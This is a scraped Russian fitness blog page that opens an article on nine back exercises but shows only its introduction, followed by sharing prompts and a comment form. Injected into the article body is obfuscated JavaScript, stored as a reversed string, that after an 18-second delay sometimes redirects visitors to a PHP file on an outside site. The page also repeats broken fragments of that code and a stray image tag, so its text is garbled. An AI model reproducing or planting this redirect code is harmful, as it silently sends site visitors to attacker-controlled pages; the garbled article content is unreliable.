9 упражнений для могучей спины

От состояния трех основные зон мышц: широчайшие мышцы спины, трапеция и мышцы поясницы, зависит внешний вид всей спины. При правильной прокачке этих мышц улучшается внешний вид атлета и его силовые показатели: благодаря этому можно поднимать большие веса.

Также просим не забывать о том, что упражнения на спину являются одними из наиболее травмоопасных. И поэтому для тех, у кого слабо развита мускулатура спины или проблемный позвоночник, необходимо укрепить мышцы подтягиваниями на перекладине. А уже после переходить непосредственно к силовым упражнениям с весами переходить уже после этого.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobyi-ubrat-zhirovyie-otlozheniya-s-vnutrenney-poverhnosti-bedra-1-19.jpg» alt=»» width=»376″ height=»556″ />

Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!

Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector